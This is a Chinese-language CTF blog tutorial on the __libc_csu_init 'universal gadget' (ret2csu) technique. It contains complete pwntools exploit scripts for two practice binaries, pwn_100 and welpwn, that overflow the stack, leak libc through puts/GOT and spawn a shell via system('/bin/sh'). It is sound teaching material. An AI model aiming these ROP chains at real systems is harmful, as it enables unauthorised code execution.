Yk2eR0's Blog.

通用gadgets(__libc_csu_init)利用

字数统计: 1.4k阅读时长: 7 min
2020/11/20 Share

系统调用

程序向系统内核请求服务,通过使用系统调用的方式:

32位程序(__stdcall)在执行系统调用后会pop栈的参数到寄存器,所以在调用后依次排布参数即可.

64位程序传前6个参数直接使用寄存器中存在的值.故在payload中还要插入gadget,将参数放入寄存器中.

syscall 系统调用号 参数1 参数2 参数3 参数4 参数5 参数6
64位 rax rdi rsi rdx r10 r8 r9
32位 eax ebx(stack) ecx(stack) edx(stack) stack stack stack
(64)sys_read 0 size_t count(从右向左) void *buf int fd

系统调用号:https://github.com/torvalds/linux/tree/16f73eb02d7e1765ccab3d2018e0bd98eb93d973/arch/x86/entry/syscalls

通用gadgets(__libc_csu_init)

  • 解决rop链中无rdx的思路

pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

1
2
3
4
5
6
7
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
1
2
3
4
5
6
7
mov     rdx, r13
mov rsi, r14
mov edi, r15d
call qword ptr [r12+rbx*8]
add rbx, 1
cmp rbx, rbp
jnz short loc_400740

两段gadgets都是在libc上用于初始化libc的,调用libc的函数都会有这两段.

第一段可以控制rbx,rbp,r12,r13,r14,r15

第二段可以将r13赋值给rdx,r14赋值给rsi,r15d赋值给edi(rdi高32位为0,所以实际可以控制rdi)

如果我们合理控制r12和rbx,也可以调用我们想要调用的函数.如让rbx为0,让r12为我们想要调用的函数地址

  • 坑点
  1. call qword ptr [r12+rbx*8] ;寄存器间接寻址,需要把system的地址写入bss
  2. mov edi, r15d ;只能存放4个字节,存放不了/bin/sh

不知道哪找的例题1:

附件:https://www.yk2er0.fun/2020/11/20/xtdy/pwn_100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level='debug'

io=process('./pwn_100')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./pwn_100')
addr=p64(0x601000)
gadget1=p64(0x40075a)
gadget2=p64(0x400740)
stanum=0x40
ret=p64(0x4004e1)
prdi=p64(0x400763)
startaddr=p64(0x400550)

pld=b'a'*(stanum+8)+gadget1+p64(0)+p64(1)+p64(elf.got['read'])+p64(8)+addr+p64(0)+gadget2+p64(0)*7+startaddr
pld=pld.ljust(199,b'b')

io.send(pld)
io.recvline()
io.sendline('/bin/sh')

pld2=b'c'*(stanum+8)+prdi+p64(elf.got['read'])+p64(elf.plt['puts'])+startaddr
pld2=pld2.ljust(199,b'd')
io.sendline(pld2)

io.recv(5)
readaddr=hex(u64(io.recv(6).ljust(8,b'\x00')))
print (readaddr)

gdb.attach(io)
libcbase=int(readaddr,16)-libc.symbols['read']
print (hex(libcbase))
sys=p64(libc.symbols['system']+libcbase)
pld3=b'f'*(stanum+8)+prdi+addr+ret+sys
pld3=pld3.ljust(199,b'\x00')
print (pld3)
io.sendline(pld3)
io.interactive()

查看保护:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO 无法复写got表
Stack: No canary found 栈溢出不用泄漏canary
NX: NX enabled 无法执行shellcode
PIE: No PIE (0x400000) 可以ret2libc

观察程序,v1大小为0x40,而程序可读0x200,有栈溢出.

无后门函数,无字符串’sh’

用ret2libc的话要先写sh字符,然后泄露libc,最后利用二者getshell

1.写:

先找个合适地方写:

找程序内可写段addr=0x601000

因为调用过read,故可以用通用gadget访问got表跳转到read函数进行读操作.

读操作后要劫持控制流到开头,不然无法进行后续的布置

构造:

pld=b’a’(stanum+8)+gadget1+p64(0)+p64(1)+p64(elf.got[‘read’])+p64(addr)+p64(8)+gadget2+p64(0)\7+startaddr

2.泄露libc:

pld2=b’c’*(stanum+8)+prdi+p64(elf.got[‘read’])+p64(elf.plt[‘puts’])+startaddr

io.send

io.recv(5)

readaddr=u64(io.recv(6).ljust(8,b’\x00’))

3.利用

pld3=b’e’*(stanum+8)+prdi+addr+sys

不用通用gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.log_level='debug'

io=process('./pwn_100')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./pwn_100')
addr=p64(0x601000)
gadget1=p64(0x40075a)
gadget2=p64(0x400740)
stanum=0x40
ret=p64(0x4004e1)
prdi=p64(0x400763)
startaddr=p64(0x400550)

pld=b'a'*(stanum+8)+prdi+p64(elf.got['puts'])+p64(elf.plt['puts'])+startaddr
pld=pld.ljust(199,b'b')

io.sendline(pld)
io.recv(5)
readaddr=hex(u64(io.recv(6).ljust(8,b'\x00')))
print (readaddr)


libcbase=int(readaddr,16)-libc.symbols['puts']
print (hex(libcbase))
sys=p64(libc.symbols['system']+libcbase)
binsh=p64(libcbase+libc.search(b'/bin/sh').__next__())
pld3=b'f'*(stanum+8)+prdi+binsh+ret+sys
pld3=pld3.ljust(199,b'\x00')
gdb.attach(io)
print (binsh)
io.sendline(pld3)
io.interactive()

直接泄露libc

例题2:welpwn

附件:https://www.yk2er0.fun/2020/11/20/xtdy/welpwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
elf=ELF('./welpwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
io=process('./welpwn')
io.recv()
ret=p64(0x400589)
gadget1=p64(0x40089c)
gadget2=p64(0x400880)
prdi=p64(0x4008a3)
addr=p64(0x601000)
startaddr=p64(0x4007cd)
ret=p64(0x400589)
#gdb.attach(io)
pld=b'a'*24+gadget1+prdi+p64(elf.got['read'])+p64(elf.plt['puts'])+startaddr

io.send(pld)

io.recv(27)
readaddr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(readaddr))

libcbase=readaddr-libc.symbols['read']
binsh=p64(libcbase+libc.search(b'/bin/sh').__next__())
sys=p64(libcbase+libc.symbols['system'])
pld2=b'f'*24+gadget1+prdi+binsh+ret+sys
io.sendline(pld2)
io.interactive()

checksec:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO 无法覆写got表
Stack: No canary found 不用泄露canary
NX: NX enabled 无法直接执行shellcode
PIE: No PIE (0x400000) 可以ret2libc

无后门函数,无sh字符.echo函数中有栈溢出,尝试利用

动调后发现是24位之后.

用gadget1来把影响栈溢出的栈溢出后4个8bitspush掉.

pld=b’a’*24+gadget1+prdi+p64(elf.got[‘read’])+p64(elf.plt[‘puts’])+startaddr

泄露libc,利用

pld2=b’f’*24+gadget1+prdi+binsh+ret+sys

总结

在调用多参数函数时,可以用通用gadgets来完成寄存器的布置,也可以使用部分gadget来实现对寄存器的控制

原文作者:Yk2eR0

原文链接:https://www.yk2er0.fun/2020/11/20/xtdy/

发表日期:十一月 20日 2020, 10:08:30 晚上

更新日期:December 7th 2020, 7:57:54 pm

版权声明:非商业用允许转载

CATALOG
  1. 1. 系统调用
  2. 2. 通用gadgets(__libc_csu_init)
  3. 3. 不知道哪找的例题1:
    1. 3.0.1. 1.写:
    2. 3.0.2. 2.泄露libc:
    3. 3.0.3. 3.利用
  4. 3.1. 不用通用gadgets:
  • 4. 例题2:welpwn
  • 5. 总结